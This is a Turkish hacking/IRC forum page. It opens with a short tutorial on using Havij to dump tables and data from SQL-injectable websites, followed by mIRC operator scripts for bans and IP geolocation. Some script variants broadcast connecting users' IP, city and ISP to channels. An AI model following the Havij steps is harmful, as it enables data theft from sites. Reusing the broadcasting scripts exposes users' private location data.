| Hoşgeldin, Ziyaretçi |
Sitemizden yararlanabilmek için Kayıt olmalısınız.
|
| Kimler Çevrimiçi |
Toplam: 545 kullanıcı aktif
» 1 Kayıtlı
» 543 Ziyaretçi
Google, chaos415
|
|
|
Havij Kullanımı ve İndirme Linki |
|
Yazar: Lamer - 02-21-2020, 11:23 PM - Forum: Hacking Program Bölümü
- Yorum Yok
|
 |
Öncelikle haviji açalım.
Ardından url yerine sql açıklı sitenin urlsini yazıp, Analyze tuşuna basalım.
Şimdi ise tarama bitince Tables bölümüne gelelim.Ardından "Get Tables" butonuna tıklayalım.Sonuçların geldigini göreceğizdir.
Tablomuzu seçip, Get Columns butonuna tıklayalım ve kolonlarımız gelsin !
Son olarak kolonlarımızı seçip "Get Data" diyelim.
İşlem tamamlandı !!
İndirme linklerini görebilmek için sitemize üye ol manız veya giriş yapmanız gerekiyor.Sitemize üyelikler ücretsizdir! |
|
|
Badnick-Koruması (Hash) |
|
Yazar: Admin - 02-21-2020, 10:46 AM - Forum: mIRC Scripting Hazır Kodlar
- Yorum Yok
|
 |
Badnick-Koruması (Hash) Yapımcısı Toprak Arkadaşımız
Kod: on *:start:{ $iif(!$isfile(badnick.tprk),.mkdir badnick.tprk) | .hmake badnick.tprk | .hload badnick badnick.tprk }
on @*:join:#:{
if $hfind(badnick,$nick,1,W).data {
mode # +b $nick
kick # $nick 1Nick değiştirip(/nick yeninick) tekrar kanala giriş yapabilirsiniz..
if !$hget(bdnck,$nick) {
.hinc -msu20 bdnck $nick
msg #Opers [ JOIN ] $nick nicki badnick olarak tespit edildi. $+([,$chr(32),$hget(badnick,$hfind(badnick,$nick,1,W).data),$chr(32),])
}
}
}
on *:nick:{
if $hfind(badnick,$newnick,1,W).data {
msg #Opers [ NICK ] $newnick nicki badnick olarak tespit edildi. $+([,$chr(32),$hget(badnick,$hfind(badnick,$newnick,1,W).data),$chr(32),])
var %:c $regsubex($str(-,$comchan($newnick,0)),/./g, $iif($regex($nick($comchan($newnick,\n),$me).pnick,/(%|@|&|~\.)/i),$comchan($newnick,\n) $chr(32)))
var %c = 1 | while %c <= $token(%:c,0,32) {
mode $token(%:c,%c,32) +b $newnick | kick $token(%:c,%c,32) $newnick 1Nick değiştirip(/nick yeninick) tekrar kanala giriş yapabilirsiniz..
inc %c
}
}
}
on *:text:*:#:{
if $regex($1,/^[!\.]badnick$/Si) {
if $regex($2,/^ekle$/Si) {
if (!$3) { msg # Lütfen nick belirtiniz | return }
if $hfind(badnick,$strip($3),0,W).data { msg # Eklemeye çalıştığınız badnick zaten $+([,$chr(32),$hget(badnick,$hfind(badnick,$strip($3),1,W).data),$chr(32),]) maskesi ile uyuşmakta. | return }
var %n = $left($calc($ctime * $rand(1000,9999)),7)
.hadd -m badnick %n $strip($3)
.hsave -o badnick badnick.tprk
msg # $strip($3) Badnick listesine eklendi.
}
if $regex($2,/^s[ıiİ]l$/Si) {
if (!$3) { msg # Lütfen nick belirtiniz | return }
if !$hfind(badnick,$strip($3),0,W).data { msg # Bad nick listesinde bulunmamaktadir. | return }
.hdel -m badnick $hfind(badnick,$strip($3),1,W).data
.hsave -o badnick badnick.tprk
msg # $strip($3) Badnick listesinden silindi.
}
if $regex($2,/^tara$/Si) {
if (!$3) { msg # Lütfen nick belirtiniz | return }
if !$hfind(badnick,$strip($3),0,W).data { msg # Badnick listem'de $strip($3) ait bir mask yok. | return }
msg # Nick: $strip($3) - 4Mask: $+([,$chr(32),$hget(badnick,$hfind(badnick,$strip($3),1,W).data),$chr(32),])
}
if $regex($2,/^l[ıiİ]st$/Si) {
if ($hget(badnick,0).data == 0) { msg # Badnick listesi boş. | return }
msg # Badnick listesi
msg # -
var %i = 1 | while (%i <= $hget(badnick,0).data) { msg # %i $+ .4) [ $hget(badnick,%i).data ] | inc %i }
msg # -
msg # Badnick listesi sonu
}
}
if $regex($1,/^[!\.]tara$/Si) {
if !$regex($2,/^#/Si) { msg # Lütfen #kanal belirtiniz | return }
if !$chan($2) { msg # $2 kanal'ında bulunmuyorum | return }
var %:tara = 1 | while %:tara <= $nick($2,0) {
if $hfind(badnick,$nick($2,%:tara),1,W).data {
msg #Opers [ TARAMA ] $nick($2,%:tara) nicki badnick olarak tespit edildi. $+([,$chr(32),$hget(badnick,$hfind(badnick,$nick($2,%:tara),1,W).data),$chr(32),])
mode $2 +b $nick($2,%:tara) | kick $2 $nick($2,%:tara) 1Nick değiştirip(/nick yeninick) tekrar kanala giriş yapabilirsiniz..
}
inc %:tara
}
}
}
;- [!.]badnick ekle Nick (4*?) Mask olarak ekleyebilirsiniz.
;- [!.]badnick sil Nick
;- [!.]badnick tara Nick Etkilenen nick'in maskını gösterir. (Nick: turgay - Mask: [ *gay ])
;- [!.]badnick list
;- [!.]tara #Kanal Belirlenen kanal'da badnick taraması yapar.
badnick.tprk dosyası mirc klasorun (//run $mircdir)[b]Yani Ana bölümüne içine atınız.[/b]
İndirme linklerini görebilmek için sitemize üye ol manız veya giriş yapmanız gerekiyor.Sitemize üyelikler ücretsizdir!
|
|
|
|
|
iP-Nick-ident-Koruması |
|
Yazar: Admin - 02-21-2020, 10:42 AM - Forum: mIRC Scripting Hazır Kodlar
- Yorum Yok
|
|
; Kodun çalışma mantığı aşağıda ki şemada belirtilmiştir.
; !ekle (IP Adresi) şeklinde ip ekleyebilir o nick'i sunucu/serverden uzaklaştırabilirsiniz.
; !ekle (@Ident) şeklinde ise, identd yasaklayabilirsiniz.
; !ekle Nick yaptığınızda da, bahsi geçen nick'i uzaklaştırır ayrıca, wildcard olarakta nickleri ekleyebilirsiniz örnk; *ali* olarak eklediniz ali ve türevi nickleri uzaklaştırır.
; !list (IP, NICK, IDENT) komutları ile de bahsi geçen listeleri görebilmektesiniz.
; DIPNOT (KOD) Oper/adminler için hazırlanmıştır bu nedenle bu rütbeye dahil olmayan/olamayan kişiler kullanamaz.
; ##### Bu kod sadece zline.txt dosyasından işlem yapmaktadir. ###
; ##### Yapimci: By Entrance #####
Kod: on *:input:*: {
if ($regex($1,/(^[!]ekle$)/i)) {
if !$2 { echo -a Nick / Ident / IP belirtmediniz! | halt }
if $read(zline.txt,w,$+(*:,$2,*)) { echo -a Zaten $token($read(zline.txt,w,$+(*,$2,*)),1,58) listeye ekli | halt }
if $regex($left($2,1),@) { echo -a Ident listeye eklendi! | write zline.txt $+(Ident:,$2) | halt }
if $regex($2,\d) && $regex($2,\W) { echo -a IP listeye eklendi! | write zline.txt $+(IP:,$2) | halt }
echo -a Nick listeye eklendi! | write zline.txt $+(Nick:,$2)
}
if ($regex($1,/(^[!]((ç|c)(i|ı)kar|s(i|ı)l)$)/i)) {
if !$2 { echo -a Nick / Ident / IP belirtmediniz! | halt }
if $regex($left($2,1),@) && $regex($2,$chr(64)) && !$read(zline.txt,w,$+(*,$2,*)) { echo -a Ident listede bulunmuyor! | halt }
if $regex($2,\d) && $regex($2,\W) && !$read(zline.txt,w,$+(*,$2,*)) { echo -a IP zaten listede bulunmuyor! | halt }
if !$read(zline.txt,w,$+(*,$2,*)) { echo -a Nick zaten listede bulunmuyor! | halt }
echo -a $token($read(zline.txt,w,$+(*,$2,*)),1,58) Listeden silindi! | write $+(-dl,$readn) zline.txt
}
if ($regex($1,/(^[!]l(i|ı)st$)/i)) {
if !$2 { echo -a Nick / Ident / IP belirtmediniz! | halt }
if (!$regex($2,/(ip|ident|nick)/i)) { echo -a $qt($2) Adın da, mask bulunmuyor. Masklar: IP / Ident / Nick | halt }
if ($lines(zline.txt) == 0) { echo -a Listede hiç bir kayıt bulunmamaktadir! | halt }
if $masks($2) == 0 { echo -a $2 Listesinde kayıt bulunmuyor! | halt }
echo -ae $2 listesi -
var %s 1 | while (%s <= $lines(zline.txt)) { $iif($2 isin $read(zline.txt,%s),echo -a $+(%s,]) $replace($read(zline.txt,%s),$chr(58),$+(:,$chr(32)))) | inc %s
}
echo -ae List sonu.
}
}
alias masks { var %s 1 | while (%s <= $lines(zline.txt)) { $iif($1 isin $read(zline.txt,%s),return 1) | inc %s } return 0 }
on *:snotice:*connecting*: {
var %s 1, %nick $9, %ident $right($token($10,1,64),-1), %ip $remove($token($10,2,64),$chr(41))
while (%s <= $lines(zline.txt)) {
$iif($regex($read(zline.txt,%s),/Ident/i),$iif($right($gettok($read(zline.txt,%s),2,58),-1) == %ident,gzline %nick +0 Forbidden Tion! $+([Data:,%ident,]) ))
$iif($regex($read(zline.txt,%s),/IP/),$iif($gettok($read(zline.txt,%s),2,58) == %ip,gzline %nick +0 Forbidden Tion! $+([Data:,%ip,]) ))
$iif($regex($read(zline.txt,%s),/Nick/i),$iif($gettok($read(zline.txt,%s),2,58) iswm %nick,gzline %nick +0 Forbidden Tion! $+([Data:,%nick,]) ))
inc %s
}
}
|
|
|
|
|
GİRİŞTE ÜLKE/ŞEHİR/İSP GÖSTERME kodları |
|
Yazar: Admin - 02-21-2020, 06:15 AM - Forum: mIRC Scripting Hazır Kodlar
- Yorum Yok
|
|
Sunucuya giriş yapan kullanıcının ülke/şehir/isp adresini @Giriş penceresine yansıtır.
En az oper yetkiniz olması gerek ve sunucuya giriş/çıkış(snotice)'leri görmeniz gerekmektedir.
NOT : ALT BOLÜMDE KANALDA YANSITMA HEM ÖZELDE YANSITMA İÇİN KODLARIDA BULUNMAKTADIR.
Kod: on *:snotice:*on*port*:who +I $9
raw 352:*:var %:r $r(1000,99999) | proxy $4 | nerd $4 $6
alias htmlfree { if ($len($1-) <= 900) { var %x, %i = $regsub($1,/(^[^<]*>|<[^>]*>|<[^>]*$)/g,$null,%x), %x = $remove(%x, ,$chr(9)) | return %x } }
alias nerd {
:tekrar
var %:x $rand(0,9999999)
if $sock($+(xxnerden,%:x)) { goto tekrar }
sockopen $+(xxnerden,%:x) www.ipsorgu.com 80
sockmark $+(xxnerden,%:x) $1
hadd -m nerden $1 $2
}
on *:sockopen:xxnerden*: {
var %komut sockwrite -nt $sockname
%komut GET $+(/?ip=,$sock($sockname).mark) HTTP/1.1
%komut Host: www.ipsorgu.com
%komut User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:49.0) Gecko/20100101 Firefox/49.0
%komut Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
%komut Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3
%komut DNT: 1
%komut Connection: keep-alive
%komut Upgrade-Insecure-Requests: 1
%komut Cache-Control: max-age=0
%komut $crlf
}
on *:sockread:xxnerden*: {
var %x, %nick | sockread %x
if $regex(%x,/lke : <em style="color:#666">(.*?)</em></strong>.+ehir : <em style="color:#666">(.*?)</em></strong>/i) {
var %ulke $regml(1), %sehir $regml(2), %ip $sock($sockname).mark, %nick $token($hget(nerden,$sock($sockname).mark),1,32)
msg #Opers 45[Login5] 2Nick: %nick 2IP: %ip 2Ulke: $iif(%ulke,$v1,Belirsiz) 2Sehir: $iif(%sehir,$v1,Belirsiz)
msg operserv raw swhois %nick : %ulke , %sehir
hdel -m nerden %ip
sockclose $sockname
}
}
Kod: on *:snotice:*Client connecting on port*:who +I $9
raw 352:*:var %:r $r(1000,99999) | sockopen $+(pro,%:r) www.ipaddresslocation.org 80 | sockmark $+(pro,%:r) $+($4,¿,$6)
alias htmlfree { if ($len($1-) <= 900) { var %x, %i = $regsub($1,/(^[^<]*>|<[^>]*>|<[^>]*$)/g,$null,%x), %x = $remove(%x, ,$chr(9)) | return %x } }
on *:sockopen:pro*:{
sockwrite -nt $sockname GET $+(/ip-address-locator.php?lookup=,$token($sock($sockname).mark,1,191)) HTTP/1.1
sockwrite -nt $sockname Host: www.ipaddresslocation.org
sockwrite -nt $sockname Connection: keep-alive
sockwrite -nt $sockname Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
sockwrite -nt $sockname User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.111 Safari/537.36
sockwrite -nt $sockname $crlf
}
on *:sockread:pro*:{
if ($sockerr) { .sockclose $sockname | return }
var %:pro | sockread -f %:pro
if (IP Country: isin %:pro) { .hadd -ms $token($sock($sockname).mark,2,191) Ülke $iif($token($htmlfree(%:pro),2,58) == $null,Belirsiz,$token($htmlfree(%:pro),2,58)) }
if (IP City: isin %:pro) { .hadd -ms $token($sock($sockname).mark,2,191) Sehir $iif($token($htmlfree(%:pro),2,58) == $null,Belirsiz,$token($htmlfree(%:pro),2,58)) }
if (ISP Provider: isin %:pro) {
var %:isp $iif($token($htmlfree(%:pro),2,58) == $null,Belirsiz,$token($htmlfree(%:pro),2,58))
var %:n $token($sock($sockname).mark,2,191), %ip $token($sock($sockname).mark,1,191), %ülke $hget(%:n,Ülke), %sehir $hget(%:n,Sehir)
$iif(!$window(@Giriş),window -e @Giriş)
.echo @Giriş Nick:4 %:n - IP:4 %ip - Ulke:4 %ülke - Sehir:4 %sehir - ISP:4 %:isp
.hfree -sw %:n
sockclose $sockname
}
}
ÜLKE ŞEHİR GÖSTERİMİ KANALDA YANSITMAK İÇİN
Kod: #giriste on
on *:snotice:*Client connecting on port*:who +I $9
raw 352:*:var %:r $r(1000,99999) | sockopen $+(pro,%:r) www.ipaddresslocation.org 80 | sockmark $+(pro,%:r) $+($4,¿,$6)
alias htmlfree { if ($len($1-) <= 900) { var %x, %i = $regsub($1,/(^[^<]*>|<[^>]*>|<[^>]*$)/g,$null,%x), %x = $remove(%x, ,$chr(9)) | return %x } }
on *:sockopen:pro*:{
sockwrite -nt $sockname GET $+(/ip-address-locator.php?lookup=,$token($sock($sockname).mark,1,191)) HTTP/1.1
sockwrite -nt $sockname Host: www.ipaddresslocation.org
sockwrite -nt $sockname Connection: keep-alive
sockwrite -nt $sockname Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
sockwrite -nt $sockname User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.111 Safari/537.36
sockwrite -nt $sockname $crlf
}
on *:sockread:pro*:{
if ($sockerr) { .sockclose $sockname | return }
var %:pro | sockread -f %:pro
if (IP Country: isin %:pro) { .hadd -ms $token($sock($sockname).mark,2,191) Ülke $iif($token($htmlfree(%:pro),2,58) == $null,Belirsiz,$token($htmlfree(%:pro),2,58)) }
if (IP City: isin %:pro) { .hadd -ms $token($sock($sockname).mark,2,191) Sehir $iif($token($htmlfree(%:pro),2,58) == $null,Belirsiz,$token($htmlfree(%:pro),2,58)) }
if (ISP Provider: isin %:pro) {
var %:isp $iif($token($htmlfree(%:pro),2,58) == $null,Belirsiz,$token($htmlfree(%:pro),2,58))
var %:n $token($sock($sockname).mark,2,191), %ip $token($sock($sockname).mark,1,191), %ülke $hget(%:n,Ülke), %sehir $hget(%:n,Sehir)
msg #Şehir Nick:2 %:n - IP:2 %ip - Ulke:2 %ülke - Sehir:2 %sehir - ISP:2 %:isp
.hfree -sw %:n
sockclose $sockname
}
}
#giriste end
menu menubar {
+> IP GIRIS
..Aç:!if $group(#giriste).status = on { echo 4 -tgae IP NERDEN Zaten AÇIK } | else { /.enable #giriste | echo 4 -tgae IP NERDEN AÇILDI | set %giriste on }
..Kapat:!if $group(#giriste).status = off { echo 4 -tgae IP NERDEN Zaten KAPALI } | else { /.disable #giriste | echo 4 -tgae IP NERDEN KAPATILDI | set %giriste off }
..Durum < $replace($group(#giriste).status, off, Kapalı, on, Açık) >:.
}
ÜLKE ŞEHİR GÖSTERİMİ HEM ÖZELDE HEM KANALDA
Kod: on *:snotice:*Client connecting on port*:who +I $9
raw 352:*:var %:r $r(1000,99999) | sockopen $+(pro,%:r) www.ipaddresslocation.org 80 | sockmark $+(pro,%:r) $+($4,¿,$6)
alias htmlfree { if ($len($1-) <= 900) { var %x, %i = $regsub($1,/(^[^<]*>|<[^>]*>|<[^>]*$)/g,$null,%x), %x = $remove(%x, ,$chr(9)) | return %x } }
on *:sockopen:pro*:{
sockwrite -nt $sockname GET $+(/ip-address-locator.php?lookup=,$token($sock($sockname).mark,1,191)) HTTP/1.1
sockwrite -nt $sockname Host: www.ipaddresslocation.org
sockwrite -nt $sockname Connection: keep-alive
sockwrite -nt $sockname Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
sockwrite -nt $sockname User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.111 Safari/537.36
sockwrite -nt $sockname $crlf
}
on *:sockread:pro*:{
if ($sockerr) { .sockclose $sockname | return }
var %:pro | sockread -f %:pro
if (IP Country: isin %:pro) { .hadd -ms $token($sock($sockname).mark,2,191) Ülke $iif($token($htmlfree(%:pro),2,58) == $null,Belirsiz,$token($htmlfree(%:pro),2,58)) }
if (IP City: isin %:pro) { .hadd -ms $token($sock($sockname).mark,2,191) Sehir $iif($token($htmlfree(%:pro),2,58) == $null,Belirsiz,$token($htmlfree(%:pro),2,58)) }
if (ISP Provider: isin %:pro) {
var %:isp $iif($token($htmlfree(%:pro),2,58) == $null,Belirsiz,$token($htmlfree(%:pro),2,58))
var %:n $token($sock($sockname).mark,2,191), %ip $token($sock($sockname).mark,1,191), %ülke $hget(%:n,Ülke), %sehir $hget(%:n,Sehir)
$iif(!$window(@Giriş),window -e @Giriş)
msg %:n Girişiniz: - IP:4 %ip - Ulke:4 %ülke - Sehir:4 %sehir - ISP:4 %:isp
msg #kanal Nick: 4 %:n - IP:4 %ip - Ulke:4 %ülke - Sehir:4 %sehir - ISP:4 %:isp
.echo @Şehir Nick:4 %:n - IP:4 %ip - Ulke:4 %ülke - Sehir:4 %sehir - ISP:4 %:isp
.hfree -sw %:n
sockclose $sockname
}
}
Kod: on *:snotice:*Client connecting on port*:if !$hget(giris,$9) { who +I $9 }
on ^*:join:#: {
if $nick == $me { return }
if o isin $usermode {
if $hget(giris,$nick) { echo # $+($chr(3),$color(join)) $timestamp *** Giriş: $nick $hget(giris,$nick) 1 $hget(sehir,$nick) | haltdef }
else {
hadd -m chan $nick $addtok($hget(chan,$nick),#,32)
if !$sock($+(nrdbul,$nick)) { who +I $nick }
haltdef
}
}
}
raw 352:*:bul $4 $6 | haltdef
alias bul {
sockopen $+(nrdbul,$1) www.ipaddresslocation.org 80
sockmark $+(nrdbul,$1) $+($1,*,$2)
}
alias htmlfree { if ($len($1-) <= 900) { var %x, %i = $regsub($1,/(^[^<]*>|<[^>]*>|<[^>]*$)/g,$null,%x), %x = $remove(%x, ,$chr(9)) | return %x } }
on *:sockopen:nrdbul*:{
sockwrite -nt $sockname GET $+(/ip-address-locator.php?lookup=,$token($sock($sockname).mark,1,42)) HTTP/1.1
sockwrite -nt $sockname Host: www.ipaddresslocation.org
sockwrite -nt $sockname Connection: keep-alive
sockwrite -nt $sockname Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
sockwrite -nt $sockname User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.111 Safari/537.36
sockwrite -nt $sockname $crlf
}
on *:sockread:nrdbul*:{
var %x | sockread %x
if $regex(%x,/<i>IP Country:</i> <b>(.*?)</b>/i) { hadd -mu5 $sockname webulke $iif($regml(1),$v1,Belirsiz) }
if $regex(%x,/<i>IP City: <b>(.*?)</b>/i) { hadd -mu5 $sockname websehir $iif($regml(1),$v1,Belirsiz) }
if $regex(%x,/<i>ISP Provider:</i> <b>(.*?)</b>/i) {
hadd -mu5 $sockname webisp $regml(1)
hadd -mu5 $sockname webnick $token($sock($sockname).mark,2,42)
hadd -mu5 $sockname webip $token($sock($sockname).mark,1,42)
hadd -mu5 $sockname webchan $hget(chan,$hget($sockname,webnick))
hdel -m chan $hget($sockname,webnick)
hadd -m giris $hget($sockname,webnick) $hget($sockname,webip)
hadd -m sehir $hget($sockname,webnick) $+($chr(40),,$hget($sockname,webulke),-,$hget($sockname,websehir),,$chr(41))
tokenize 32 $hget($sockname,webchan)
echo $* $+($chr(3),$color(join)) $timestamp *** Giriş: $hget($sockname,webnick) $hget(giris,$hget($sockname,webnick)) 1 $hget(sehir,$hget($sockname,webnick))
}
}
alias htmlfree { if ($len($1-) <= 900) { var %x, %i = $regsub($1,/(^[^<]*>|<[^>]*>|<[^>]*$)/g,$null,%x), %x = $remove(%x, ,$chr(9)) | return %x } }
Girişte Şehrine Göre Haber/Hava Durumu
Kendi botumda olan kodu sizlerle paylaşmak istedim Sinan arkadaşım Adamca' için bota eklemiş ti ve hoşuma gitti bende yapmıştım bari paylaşayım beğenenler kullansın dedim.
Kod: on *:snotice:*Client connecting on port*:who +I $9
raw 352:*:{ .var %:rand $rand(100,9999999) | .sockopen $+(city,%:rand) www.ipaddresslocation.org 80 | .sockmark $+(city,%:rand) $+($4,¿,$6) }
alias bbüyük { return $replace($1,a,A,b,B,c,C,ç,C,Ç,C,d,D,e,E,f,F,g,G,ğ,G,Ğ,G,h,H,ı,I,i,I,İ,I,j,J,k,K,l,L,m,M,n,N,o,O,ö,O,Ö,O,p,P,r,R,s,S,t,T,u,U,v,V,y,Y,z,Z,w,W,x,X,q,Q,ş,S,Ş,S,@,A) }
alias htmlfree { if ($len($1-) <= 900) { var %x, %i = $regsub($1,/(^[^<]*>|<[^>]*>|<[^>]*$)/g,$null,%x), %x = $remove(%x, ,$chr(9)) | return %x } }
alias trchra return $replace($1-,Ö,ö,Ç,ç,Ä°,i,ö,ö,ç,ç,ü,ü,ÅŸ,ş,ı,ı,Åž,ş,ÄŸ,ğ,Ãœ,ü,Äž,ğ,$chr(39),-)
on *:sockopen:city*:{
sockwrite -n $sockname GET /ip-address-locator.php?lookup= $+ $token($sock($sockname).mark,1,191) HTTP/1.1
sockwrite -n $sockname host: www.ipaddresslocation.org
sockwrite -n $sockname $crlf
}
on *:sockread:city*: {
if ($sockerr) { .sockclose $sockname | return }
var %city | sockread %city
if (IP Country: isin %city) && (*Turkey* !iswm $token($htmlfree(%city),2,58) ) {
msg #Opers [ Yurt Dışı ] [Nick: $token($sock($sockname).mark,2,191) ] [IP: $token($sock($sockname).mark,1,191) ] [Ülke: $token($htmlfree(%city),2,58) ]
sockclose $sockname
return
}
if (IP City: isin %city) {
if !$token($htmlfree(%city),2,58) { return }
msg #Opers [ ŞEHİR ] [Nick: $token($sock($sockname).mark,2,191) ] [IP: $token($sock($sockname).mark,1,191) ] [Şehir: $token($htmlfree(%city),2,58) ]
var %:hava $rand(10,999999) | .sockopen $+(hava,%:hava) www.mynet.com 80 | .sockmark $+(hava,%:hava) $+($bbüyük($token($htmlfree(%city),2,58)),¿,$token($sock($sockname).mark,2,191))
sockclose $sockname
}
}
on *:sockopen:hava*:{ var %:hava sockwrite -n $sockname | %:hava GET /havadurumu/asya/turkiye/ $+ $token($sock($sockname).mark,1,191) HTTP/1.1 | %:hava Host: www.mynet.com | %:hava $crlf }
on *:sockread:hava*:{
if ($sockerr) { .sockclose $sockname | return }
var %hava | sockread %hava
if (*span class="hvDay">*</span* iswm %hava) {
msg $token($sock($sockname).mark,2,191) :5Ülkeniz: Türkiye 5Sehriniz: $trchra($token($sock($sockname).mark,1,191))
msg $token($sock($sockname).mark,2,191) :5Tarih: $date $htmlfree(%hava) 5Saat: $time
}
if (*span class="hvMood">*</span* iswm %hava) { msg $token($sock($sockname).mark,2,191) :5Durum: $trchra($regsubex($trchra($htmlfree(%hava)),/(.)/i,$iif(2 \\ \n,$upper(\1),$lower(\1)))) }
if (*span class="hvDeg1">*/span* iswm %hava) { .hadd -ms Hava $token($sock($sockname).mark,2,191) $trchra($htmlfree(%hava)) }
if (*span class="hvDeg2">*</span* iswm %hava) {
msg $token($sock($sockname).mark,2,191) :5EnYuksek: $trchra($hget(Hava,$token($sock($sockname).mark,2,191))) 5EnDusuk: $trchra($htmlfree(%hava))
msg $token($sock($sockname).mark,2,191) :
msg $token($sock($sockname).mark,2,191) : $+(",$trchra($token($sock($sockname).mark,1,191)),") İl'inden sondakika haberleri..
msg $token($sock($sockname).mark,2,191) :
.hdel -ms Hava $token($sock($sockname).mark,2,191)
var %:haber $rand(100,999999) | .sockopen $+(haber,%:haber) rss.haberler.com 80 | .sockmark $+(haber,%:haber) $+($trchra($token($sock($sockname).mark,1,191)),¿,$token($sock($sockname).mark,2,191))
sockclose $sockname
return
}
}
on *:sockopen:haber*:{
var %:haber sockwrite -n $sockname
%:haber GET /rss.asp?kategori= $+ $token($sock($sockname).mark,1,191) HTTP/1.1
%:haber Host: rss.haberler.com
%:haber $crlf
if (!$hget(Haber)) { .hmake Haber }
}
on *:sockread:haber*:{
if ($sockerr) { .sockclose $sockname | return }
var %haber | sockread %haber | .tokenize 32 %haber
if (<title> isin %haber) {
if $htmlfree(%haber) == Haberler.Com { return }
msg $token($sock($sockname).mark,2,191) :5Baslik: $trchra($htmlfree(%haber))
}
if (*<description>* iswm %haber) {
if (*Türkiye'nin en kapsamlı haber portalı.* iswm $htmlfree(%haber)) { return }
msg $token($sock($sockname).mark,2,191) :5Aciklama: $trchra($htmlfree(%haber))
}
if (*<pubDate>*</pubDate>* iswm %haber) {
msg $token($sock($sockname).mark,2,191) :5Zaman: $trchra($htmlfree(%haber))
msg $token($sock($sockname).mark,2,191) :
.hinc Haber $token($sock($sockname).mark,2,191) 1
if $hget(Haber,$token($sock($sockname).mark,2,191)) == 2 {
msg $token($sock($sockname).mark,2,191) :5Sohbet Kanal'larımız: #Sohbet
msg $token($sock($sockname).mark,2,191) :5Radyo Kanal'ımız: #Radyo
msg $token($sock($sockname).mark,2,191) :5User Yardım Kanal'ımız: #Help
msg $token($sock($sockname).mark,2,191) :5Oper Yardım Kanal'ımız: #OperHelp
msg $token($sock($sockname).mark,2,191) :
msg $token($sock($sockname).mark,2,191) :1Sunucu kuralları için5 /kurallar 1komutunu kullanınız.
msg $token($sock($sockname).mark,2,191) :1Online oper listesi için5 /ircops 1komutunu kullanınız.
msg $token($sock($sockname).mark,2,191) :1Online helper listesi için5 /helpers 1komutunu kullanınız.
.hdel Haber $token($sock($sockname).mark,2,191)
.sockclose $sockname
return
}
}
}
|
|
|
|
|
Girişte Şehir Gösterme ve Şehir Yasaklama |
|
Yazar: Admin - 02-21-2020, 06:08 AM - Forum: mIRC Scripting Hazır Kodlar
- Yorum Yok
|
|
Komut: !yasakid <ekle <Şehir> <ISP>
Komut: !yasakid <sil> <Şehir> <ISP>
Bir şehir için birden fazla ISP yasaklayabiliyorsunuz. Örnek Ankara için Türk Telekom, TurkNet, SuperOnline, Vodafone vs. dilediğiniz kadar ekleyebilirsiniz.
Kod: on *:text:*:#Admin:{
if $regex($1,/^[!.]yasak[ıiİ]d/Si) {
if !$2 { msg # Lütfen !yasakid <ekle|sil|list> olarak belirtiniz. }
elseif $regex($2,/^ekle$/Si) {
if !$3 || !$4 { msg # Lütfen !yasakid <ekle> <Şehir> <ISP> olarak belirtiniz. }
elseif $regex($3,/Bel[ıiİ]rs[ıiİ]z/Si) { msg # Böyle bir şehir yok :) }
elseif $istok($hget(YasakS,$strip($3)),$strip($4-),191) { msg # $strip($3) - $strip($4-) girişi yasak listesinde zaten ekli, neyin kafası. }
else { .hadd -m YasakS $strip($3) $hget(YasakS,$strip($3)) $+($strip($4-),¿) | .hsave -o YasakS yasaks.tprk | msg # $strip($3) - $strip($4-) girişi yasak listesine eklendi. }
}
elseif $regex($2,/^s[ıiİ]l$/Si) {
if !$3 || !$4 { msg # Lütfen !yasakid <sil> <Şehir> <ISP> olarak belirtiniz. }
elseif !$istok($hget(YasakS,$strip($3)),$strip($4-),191) { msg # $strip($3) - $strip($4-) girişi yasak listesinde ekli değil. }
else {
var %sil $remtok($hget(YasakS,$strip($3)),$strip($4-),191)
.hdel -m YasakS $strip($3) | .hadd -m YasakS $strip($3) %sil | .hsave -o YasakS yasaks.tprk
msg # $strip($3) - $strip($4-) girişi yasak listesinden silindi.
}
}
elseif $regex($2,/^l[ıiİ]st$/Si) {
if !$hget(YasakS,0).data { msg # Yasak giriş listesi boş. }
else {
msg # Yasak giriş listesi
msg # -
var %:t = 1 | while %:t <= $hget(YasakS,0).data {
msg # $+(%:t,-,$chr(41)) Şehir:4 $hget(YasakS,%:t).item ISP'ler:2 $replace($hget(YasakS,%:t).data,$chr(191),$+($chr(32),$chr(45)))
inc %:t
}
msg # -
msg # Yasak giriş listesi sonu
}
}
}
}
on *:start:if $isfile(yasaks.tprk) { .hmake YasakS | .hload YasakS yasaks.tprk }
on *:snotice:*:if $regex($1-,/Client connecting (on port|at) .+\: (.+) \(.+@.+\)/Si) { who +I $regml(2) }
raw 352:*:{ var %:r $r(1000,99999) | sockopen $+(isp,%:r) www.ipaddresslocation.org 80 | sockmark $+(isp,%:r) $+($4,¿,$6) }
on *:sockopen:isp*:{
if ($sockerr) { .sockclose $sockname | return }
sockwrite -nt $sockname GET $+(/ip-address-locator.php?lookup=,$token($sock($sockname).mark,1,191)) HTTP/1.1
sockwrite -nt $sockname Host: $sock($sockname).addr
sockwrite -nt $sockname Connection: keep-alive
sockwrite -nt $sockname Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
sockwrite -nt $sockname User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.111 Safari/537.36
sockwrite -nt $sockname $crlf
}
on *:sockread:isp*:{
var %:isp | sockread -f %:isp | tokenize 32 %:isp
if $regex($1-,/IP Country:<\/i> <b>(.+)<\/b>/i) { .hadd -ms Ülke $sockname $iif($regml(1),$regml(1),Belirsiz) }
